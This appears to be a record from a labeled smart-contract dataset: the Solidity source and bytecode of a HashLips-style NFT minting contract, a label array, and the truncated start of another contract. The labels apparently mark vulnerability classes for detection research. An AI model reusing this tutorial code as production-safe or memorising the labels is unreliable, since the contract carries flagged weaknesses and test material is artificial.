defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // Created by HashLips /** These contracts have been used to create tutorials, please review them on your own before using any of the following code for production. */ pragma solidity >=0.7.0 <0.9.0; contract FiveLions is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public cost = .06 ether; uint256 public maxSupply = 8888; uint256 public maxMintAmount = 200; uint256 public nftPerAddressLimit = 200; bool public paused = false; bool public revealed = false; bool public onlyWhitelisted = false; //address payable commissions = payable(0x1Cf11bbD83cab8c85426566d820B3bf2DB4b7827); //this is for the commission for the dev (1284) address[] public whitelistedAddresses; mapping(address => uint256) public addressPresaleMinted; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { require(!paused, "the contract is paused"); uint256 supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded"); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); if (msg.sender != owner()) { if(onlyWhitelisted == true) { require(isWhitelisted(msg.sender), "user is not whitelisted"); uint256 ownerTokenCount = addressPresaleMinted[msg.sender]; require(ownerTokenCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); } require(msg.value >= cost * _mintAmount, "insufficient funds"); } for (uint256 i = 1; i <= _mintAmount; i++) { addressPresaleMinted[msg.sender]++; _safeMint(msg.sender, supply + i); } // (bool success, ) = payable(commissions).call{value: msg.value * 1 / 100}(""); // require(success); } function isWhitelisted(address _user) public view returns (bool) { for (uint i = 0; i < whitelistedAddresses.length; i++) { if (whitelistedAddresses[i] == _user) { return true; } } return false; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner() { revealed = true; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner() { nftPerAddressLimit = _limit; } function setCost(uint256 _newCost) public onlyOwner() { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function pause(bool _state) public onlyOwner { paused = _state; } function setOnlyWhitelisted(bool _state) public onlyOwner { onlyWhitelisted = _state; } function whitelistUsers(address[] calldata _users) public onlyOwner { delete whitelistedAddresses; whitelistedAddresses = _users; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } } /** ["0x2cb473fDdEBDe10c66BC2312b6b6109F594ef56d", "0x2e26C2bdF730AA74Bfd44E6E5F276774819f0833", "0x8E37C3090F979Ab951356E28E8E14722cC71C97B"] */
0x6080604052600436106102725760003560e01c80636c0360eb1161014f578063ba4e5c49116100c1578063d5abeb011161007a578063d5abeb0114610717578063da3ef23f1461072d578063e985e9c51461074d578063edec5f2714610796578063f2c4ce1e146107b6578063f2fde38b146107d657600080fd5b8063ba4e5c491461065f578063ba7d2c761461067f578063bfa389cc14610695578063c6682862146106c2578063c87b56dd146106d7578063d0eb26b0146106f757600080fd5b806395d89b411161011357806395d89b41146105c25780639c70b512146105d7578063a0712d68146105f7578063a22cb4651461060a578063a475b5dd1461062a578063b88d4fde1461063f57600080fd5b80636c0360eb1461053a57806370a082311461054f578063715018a61461056f5780637f00c7a6146105845780638da5cb5b146105a457600080fd5b80633af32abf116101e857806344a0d68a116101ac57806344a0d68a146104815780634f6ccce7146104a157806351830227146104c157806355f804b3146104e05780635c975abb146105005780636352211e1461051a57600080fd5b80633af32abf146103ec5780633c9527641461040c5780633ccfd60b1461042c57806342842e0e14610434578063438b63001461045457600080fd5b8063095ea7b31161023a578063095ea7b31461033d57806313faede61461035d57806318160ddd14610381578063239c70ae1461039657806323b872dd146103ac5780632f745c59146103cc57600080fd5b806301ffc9a71461027757806302329a29146102ac57806306fdde03146102ce578063081812fc146102f0578063081c8c4414610328575b600080fd5b34801561028357600080fd5b5061029761029236600461253a565b6107f6565b60405190151581526020015b60405180910390f35b3480156102b857600080fd5b506102cc6102c736600461251f565b610821565b005b3480156102da57600080fd5b506102e3610867565b6040516102a39190612747565b3480156102fc57600080fd5b5061031061030b3660046125bd565b6108f9565b6040516001600160a01b0390911681526020016102a3565b34801561033457600080fd5b506102e361098e565b34801561034957600080fd5b506102cc610358366004612480565b610a1c565b34801561036957600080fd5b50610373600e5481565b6040519081526020016102a3565b34801561038d57600080fd5b50600854610373565b3480156103a257600080fd5b5061037360105481565b3480156103b857600080fd5b506102cc6103c736600461239e565b610b32565b3480156103d857600080fd5b506103736103e7366004612480565b610b63565b3480156103f857600080fd5b50610297610407366004612350565b610bf9565b34801561041857600080fd5b506102cc61042736600461251f565b610c63565b6102cc610ca9565b34801561044057600080fd5b506102cc61044f36600461239e565b610d2b565b34801561046057600080fd5b5061047461046f366004612350565b610d46565b6040516102a39190612703565b34801561048d57600080fd5b506102cc61049c3660046125bd565b610de8565b3480156104ad57600080fd5b506103736104bc3660046125bd565b610e17565b3480156104cd57600080fd5b5060125461029790610100900460ff1681565b3480156104ec57600080fd5b506102cc6104fb366004612574565b610eaa565b34801561050c57600080fd5b506012546102979060ff1681565b34801561052657600080fd5b506103106105353660046125bd565b610eeb565b34801561054657600080fd5b506102e3610f62565b34801561055b57600080fd5b5061037361056a366004612350565b610f6f565b34801561057b57600080fd5b506102cc610ff6565b34801561059057600080fd5b506102cc61059f3660046125bd565b61102c565b3480156105b057600080fd5b50600a546001600160a01b0316610310565b3480156105ce57600080fd5b506102e361105b565b3480156105e357600080fd5b506012546102979062010000900460ff1681565b6102cc6106053660046125bd565b61106a565b34801561061657600080fd5b506102cc610625366004612456565b611351565b34801561063657600080fd5b506102cc611416565b34801561064b57600080fd5b506102cc61065a3660046123da565b611451565b34801561066b57600080fd5b5061031061067a3660046125bd565b611489565b34801561068b57600080fd5b5061037360115481565b3480156106a157600080fd5b506103736106b0366004612350565b60146020526000908152604090205481565b3480156106ce57600080fd5b506102e36114b3565b3480156106e357600080fd5b506102e36106f23660046125bd565b6114c0565b34801561070357600080fd5b506102cc6107123660046125bd565b61163f565b34801561072357600080fd5b50610373600f5481565b34801561073957600080fd5b506102cc610748366004612574565b61166e565b34801561075957600080fd5b5061029761076836600461236b565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b3480156107a257600080fd5b506102cc6107b13660046124aa565b6116ab565b3480156107c257600080fd5b506102cc6107d1366004612574565b6116ed565b3480156107e257600080fd5b506102cc6107f1366004612350565b61172a565b60006001600160e01b0319821663780e9d6360e01b148061081b575061081b826117c2565b92915050565b600a546001600160a01b031633146108545760405162461bcd60e51b815260040161084b906127ac565b60405180910390fd5b6012805460ff1916911515919091179055565b606060008054610876906128c0565b80601f01602080910402602001604051908101604052809291908181526020018280546108a2906128c0565b80156108ef5780601f106108c4576101008083540402835291602001916108ef565b820191906000526020600020905b8154815290600101906020018083116108d257829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166109725760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161084b565b506000908152600460205260409020546001600160a01b031690565b600d805461099b906128c0565b80601f01602080910402602001604051908101604052809291908181526020018280546109c7906128c0565b8015610a145780601f106109e957610100808354040283529160200191610a14565b820191906000526020600020905b8154815290600101906020018083116109f757829003601f168201915b505050505081565b6000610a2782610eeb565b9050806001600160a01b0316836001600160a01b03161415610a955760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b606482015260840161084b565b336001600160a01b0382161480610ab15750610ab18133610768565b610b235760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161084b565b610b2d8383611812565b505050565b610b3c3382611880565b610b585760405162461bcd60e51b815260040161084b906127e1565b610b2d838383611977565b6000610b6e83610f6f565b8210610bd05760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b606482015260840161084b565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b6000805b601354811015610c5a57826001600160a01b031660138281548110610c2457610c2461296c565b6000918252602090912001546001600160a01b03161415610c485750600192915050565b80610c52816128fb565b915050610bfd565b50600092915050565b600a546001600160a01b03163314610c8d5760405162461bcd60e51b815260040161084b906127ac565b60128054911515620100000262ff000019909216919091179055565b600a546001600160a01b03163314610cd35760405162461bcd60e51b815260040161084b906127ac565b604051600090339047908381818185875af1925050503d8060008114610d15576040519150601f19603f3d011682016040523d82523d6000602084013e610d1a565b606091505b5050905080610d2857600080fd5b50565b610b2d83838360405180602001604052806000815250611451565b60606000610d5383610f6f565b905060008167ffffffffffffffff811115610d7057610d70612982565b604051908082528060200260200182016040528015610d99578160200160208202803683370190505b50905060005b82811015610de057610db18582610b63565b828281518110610dc357610dc361296c565b602090810291909101015280610dd8816128fb565b915050610d9f565b509392505050565b600a546001600160a01b03163314610e125760405162461bcd60e51b815260040161084b906127ac565b600e55565b6000610e2260085490565b8210610e855760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b606482015260840161084b565b60088281548110610e9857610e9861296c565b90600052602060002001549050919050565b600a546001600160a01b03163314610ed45760405162461bcd60e51b815260040161084b906127ac565b8051610ee790600b9060208401906121a4565b5050565b6000818152600260205260408120546001600160a01b03168061081b5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b606482015260840161084b565b600b805461099b906128c0565b60006001600160a01b038216610fda5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b606482015260840161084b565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b031633146110205760405162461bcd60e51b815260040161084b906127ac565b61102a6000611b22565b565b600a546001600160a01b031633146110565760405162461bcd60e51b815260040161084b906127ac565b601055565b606060018054610876906128c0565b60125460ff16156110b65760405162461bcd60e51b81526020600482015260166024820152751d1a194818dbdb9d1c9858dd081a5cc81c185d5cd95960521b604482015260640161084b565b60006110c160085490565b9050600082116111135760405162461bcd60e51b815260206004820152601b60248201527f6e65656420746f206d696e74206174206c656173742031204e46540000000000604482015260640161084b565b6010548211156111715760405162461bcd60e51b8152602060048201526024808201527f6d6178206d696e7420616d6f756e74207065722073657373696f6e20657863656044820152631959195960e21b606482015260840161084b565b600f5461117e8383612832565b11156111c55760405162461bcd60e51b81526020600482015260166024820152751b585e08139195081b1a5b5a5d08195e18d95959195960521b604482015260640161084b565b600a546001600160a01b031633146113015760125462010000900460ff161515600114156112af576111f633610bf9565b6112425760405162461bcd60e51b815260206004820152601760248201527f75736572206973206e6f742077686974656c6973746564000000000000000000604482015260640161084b565b3360009081526014602052604090205460115461125f8483612832565b11156112ad5760405162461bcd60e51b815260206004820152601c60248201527f6d6178204e465420706572206164647265737320657863656564656400000000604482015260640161084b565b505b81600e546112bd919061285e565b3410156113015760405162461bcd60e51b8152602060048201526012602482015271696e73756666696369656e742066756e647360701b604482015260640161084b565b60015b828111610b2d57336000908152601460205260408120805491611326836128fb565b9091555061133f90503361133a8385612832565b611b74565b80611349816128fb565b915050611304565b6001600160a01b0382163314156113aa5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161084b565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a546001600160a01b031633146114405760405162461bcd60e51b815260040161084b906127ac565b6012805461ff001916610100179055565b61145b3383611880565b6114775760405162461bcd60e51b815260040161084b906127e1565b61148384848484611b8e565b50505050565b6013818154811061149957600080fd5b6000918252602090912001546001600160a01b0316905081565b600c805461099b906128c0565b6000818152600260205260409020546060906001600160a01b031661153f5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b606482015260840161084b565b601254610100900460ff166115e057600d805461155b906128c0565b80601f0160208091040260200160405190810160405280929190818152602001828054611587906128c0565b80156115d45780601f106115a9576101008083540402835291602001916115d4565b820191906000526020600020905b8154815290600101906020018083116115b757829003601f168201915b50505050509050919050565b60006115ea611bc1565b9050600081511161160a5760405180602001604052806000815250611638565b8061161484611bd0565b600c60405160200161162893929190612602565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146116695760405162461bcd60e51b815260040161084b906127ac565b601155565b600a546001600160a01b031633146116985760405162461bcd60e51b815260040161084b906127ac565b8051610ee790600c9060208401906121a4565b600a546001600160a01b031633146116d55760405162461bcd60e51b815260040161084b906127ac565b6116e160136000612228565b610b2d60138383612246565b600a546001600160a01b031633146117175760405162461bcd60e51b815260040161084b906127ac565b8051610ee790600d9060208401906121a4565b600a546001600160a01b031633146117545760405162461bcd60e51b815260040161084b906127ac565b6001600160a01b0381166117b95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161084b565b610d2881611b22565b60006001600160e01b031982166380ac58cd60e01b14806117f357506001600160e01b03198216635b5e139f60e01b145b8061081b57506301ffc9a760e01b6001600160e01b031983161461081b565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061184782610eeb565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166118f95760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161084b565b600061190483610eeb565b9050806001600160a01b0316846001600160a01b0316148061193f5750836001600160a01b0316611934846108f9565b6001600160a01b0316145b8061196f57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661198a82610eeb565b6001600160a01b0316146119f25760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b606482015260840161084b565b6001600160a01b038216611a545760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161084b565b611a5f838383611cce565b611a6a600082611812565b6001600160a01b0383166000908152600360205260408120805460019290611a9390849061287d565b90915550506001600160a01b0382166000908152600360205260408120805460019290611ac1908490612832565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610ee7828260405180602001604052806000815250611d86565b611b99848484611977565b611ba584848484611db9565b6114835760405162461bcd60e51b815260040161084b9061275a565b6060600b8054610876906128c0565b606081611bf45750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611c1e5780611c08816128fb565b9150611c179050600a8361284a565b9150611bf8565b60008167ffffffffffffffff811115611c3957611c39612982565b6040519080825280601f01601f191660200182016040528015611c63576020820181803683370190505b5090505b841561196f57611c7860018361287d565b9150611c85600a86612916565b611c90906030612832565b60f81b818381518110611ca557611ca561296c565b60200101906001600160f81b031916908160001a905350611cc7600a8661284a565b9450611c67565b6001600160a01b038316611d2957611d2481600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611d4c565b816001600160a01b0316836001600160a01b031614611d4c57611d4c8382611ec6565b6001600160a01b038216611d6357610b2d81611f63565b826001600160a01b0316826001600160a01b031614610b2d57610b2d8282612012565b611d908383612056565b611d9d6000848484611db9565b610b2d5760405162461bcd60e51b815260040161084b9061275a565b60006001600160a01b0384163b15611ebb57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611dfd9033908990889088906004016126c6565b602060405180830381600087803b158015611e1757600080fd5b505af1925050508015611e47575060408051601f3d908101601f19168201909252611e4491810190612557565b60015b611ea1573d808015611e75576040519150601f19603f3d011682016040523d82523d6000602084013e611e7a565b606091505b508051611e995760405162461bcd60e51b815260040161084b9061275a565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061196f565b506001949350505050565b60006001611ed384610f6f565b611edd919061287d565b600083815260076020526040902054909150808214611f30576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611f759060019061287d565b60008381526009602052604081205460088054939450909284908110611f9d57611f9d61296c565b906000526020600020015490508060088381548110611fbe57611fbe61296c565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611ff657611ff6612956565b6001900381819060005260206000200160009055905550505050565b600061201d83610f6f565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166120ac5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161084b565b6000818152600260205260409020546001600160a01b0316156121115760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161084b565b61211d60008383611cce565b6001600160a01b0382166000908152600360205260408120805460019290612146908490612832565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b8280546121b0906128c0565b90600052602060002090601f0160209004810192826121d25760008555612218565b82601f106121eb57805160ff1916838001178555612218565b82800160010185558215612218579182015b828111156122185782518255916020019190600101906121fd565b50612224929150612299565b5090565b5080546000825590600052602060002090810190610d289190612299565b828054828255906000526020600020908101928215612218579160200282015b828111156122185781546001600160a01b0319166001600160a01b03843516178255602090920191600190910190612266565b5b80821115612224576000815560010161229a565b600067ffffffffffffffff808411156122c9576122c9612982565b604051601f8501601f19908116603f011681019082821181831017156122f1576122f1612982565b8160405280935085815286868601111561230a57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b038116811461233b57600080fd5b919050565b8035801515811461233b57600080fd5b60006020828403121561236257600080fd5b61163882612324565b6000806040838503121561237e57600080fd5b61238783612324565b915061239560208401612324565b90509250929050565b6000806000606084860312156123b357600080fd5b6123bc84612324565b92506123ca60208501612324565b9150604084013590509250925092565b600080600080608085870312156123f057600080fd5b6123f985612324565b935061240760208601612324565b925060408501359150606085013567ffffffffffffffff81111561242a57600080fd5b8501601f8101871361243b57600080fd5b61244a878235602084016122ae565b91505092959194509250565b6000806040838503121561246957600080fd5b61247283612324565b915061239560208401612340565b6000806040838503121561249357600080fd5b61249c83612324565b946020939093013593505050565b600080602083850312156124bd57600080fd5b823567ffffffffffffffff808211156124d557600080fd5b818501915085601f8301126124e957600080fd5b8135818111156124f857600080fd5b8660208260051b850101111561250d57600080fd5b60209290920196919550909350505050565b60006020828403121561253157600080fd5b61163882612340565b60006020828403121561254c57600080fd5b813561163881612998565b60006020828403121561256957600080fd5b815161163881612998565b60006020828403121561258657600080fd5b813567ffffffffffffffff81111561259d57600080fd5b8201601f810184136125ae57600080fd5b61196f848235602084016122ae565b6000602082840312156125cf57600080fd5b5035919050565b600081518084526125ee816020860160208601612894565b601f01601f19169290920160200192915050565b6000845160206126158285838a01612894565b8551918401916126288184848a01612894565b8554920191600090600181811c908083168061264557607f831692505b85831081141561266357634e487b7160e01b85526022600452602485fd5b8080156126775760018114612688576126b5565b60ff198516885283880195506126b5565b60008b81526020902060005b858110156126ad5781548a820152908401908801612694565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906126f9908301846125d6565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b8181101561273b5783518352928401929184019160010161271f565b50909695505050505050565b60208152600061163860208301846125d6565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b600082198211156128455761284561292a565b500190565b60008261285957612859612940565b500490565b60008160001904831182151516156128785761287861292a565b500290565b60008282101561288f5761288f61292a565b500390565b60005b838110156128af578181015183820152602001612897565b838111156114835750506000910152565b600181811c908216806128d457607f821691505b602082108114156128f557634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561290f5761290f61292a565b5060010190565b60008261292557612925612940565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610d2857600080fdfea26469706673582212206d273d8413ca0bbde1ff45b8eb9c6a2e77bd1d4047aeea3de5cf018903793bed64736f6c63430008070033
[ 5, 12 ]
0xf3276a5631c8e1984d5b6269a5cd2cd7eac8f413
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } pragma solidity >=0.5.0; interface IWETH { function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function 